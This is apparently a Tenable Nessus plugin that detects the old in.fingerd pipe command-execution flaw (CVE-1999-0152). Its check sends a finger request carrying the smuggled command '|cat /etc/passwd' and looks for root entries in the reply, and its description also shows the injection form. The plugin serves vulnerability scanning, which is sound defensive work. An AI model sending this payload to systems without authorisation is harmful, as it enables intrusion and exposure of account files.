| code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if(description)
{
script_id(10126);
script_version ("1.25");
script_cvs_date("Date: 2018/11/15 20:50:23");
script_cve_id("CVE-1999-0152");
script_name(english:"in.fingerd Pipe Input Arbitrary Command Execution");
script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by a remote command execution
vulnerability." );
script_set_attribute(attribute:"description", value:
"It is possible to force the remote finger daemon to execute arbitrary
commands by issuing requests like :
finger |command_to_execute@target
An attacker may use this bug to gain a shell on this host." );
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1997/Aug/73" );
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1997/Aug/96" );
script_set_attribute(attribute:"solution", value:
"Disable your finger daemon if you do not use it, or apply the latest
patches from your vendor." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_attribute(attribute:"plugin_publication_date", value: "1999/06/22");
script_set_attribute(attribute:"vuln_publication_date", value: "1997/08/11");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_summary(english:"Determines whether in.fingerd is exploitable");
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
script_family(english:"Misc.");
script_dependencie("find_service1.nasl");
script_require_ports("Services/finger", 79);
exit(0);
}
#
# The script code starts here
#
port = get_kb_item("Services/finger");
if(!port)port = 79;
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
d = string("|cat /etc/passwd\r\n");
send(socket:soc, data:d);
r = recv(socket:soc, length:65535);
if(egrep(pattern:"root:.*:0:[01]:", string:r))security_hole(port);
close(soc);
}
}
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